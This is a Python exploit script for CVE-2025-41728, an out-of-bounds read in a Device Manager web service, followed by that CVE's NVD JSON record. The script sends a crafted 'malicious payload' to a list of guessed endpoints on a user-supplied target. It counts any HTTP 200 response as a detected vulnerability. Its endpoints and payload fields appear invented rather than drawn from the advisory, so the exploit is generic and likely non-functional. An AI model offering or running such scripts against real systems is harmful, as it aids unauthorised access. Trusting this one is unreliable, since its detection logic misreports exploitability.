CVE-2025-41728

import requests import sys # CVE-2025-41728 PoC - Device Manager Out-of-Bounds Read # Target: Device Manager Web Service # This PoC demonstrates the information disclosure vulnerability def exploit_cve_2025_41728(target_url): """ Exploit for CVE-2025-41728 Attempts to trigger out-of-bounds read in Device Manager """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-41728") # Crafted payload to trigger OOB read # The specific endpoint and parameters depend on the target application endpoints = [ "/api/device-manager/read", "/deviceManager/data", "/services/device-manager", "/dm/interface" ] # Malicious payload designed to cause OOB read # Adjust the parameters based on actual target payload = { "action": "read_memory", "address": "\x41" * 100 + "\x00", "size": 8192, "type": "confidential" } headers = { "User-Agent": "CVE-2025-41728-PoC", "Content-Type": "application/json" } for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint print(f"[*] Trying endpoint: {endpoint}") # Send crafted request response = requests.post(url, json=payload, headers=headers, timeout=10) # Check for signs of successful exploitation if response.status_code == 200: print(f"[!] Potential vulnerability detected at {endpoint}") print(f"[*] Response length: {len(response.content)} bytes") print(f"[*] Response preview: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") continue print("[*] No obvious vulnerability found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-41728.py <target_url>") print("Example: python cve-2025-41728.py http://target.com:8080") sys.exit(1) target = sys.argv[1] exploit_cve_2025_41728(target)

{"cve": {"id": "CVE-2025-41728", "sourceIdentifier": "[email protected]", "published": "2026-01-27T12:15:57.717", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A low privileged remote attacker may be able to disclose confidential information from the memory of a privileged process by sending specially crafted calls to the Device Manager web service that cause an out-of-bounds read operation under certain circumstances due to ASLR and thereby potentially copy confidential information into a response."}, {"lang": "es", "value": "Un atacante remoto con privilegios bajos podría divulgar información confidencial de la memoria de un proceso privilegiado enviando llamadas especialmente diseñadas al servicio web del Administrador de dispositivos que causan una operación de lectura fuera de límites bajo ciertas circunstancias debido a ASLR y, por lo tanto, copiar potencialmente información confidencial en una respuesta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-092", "source": "[email protected]"}]}}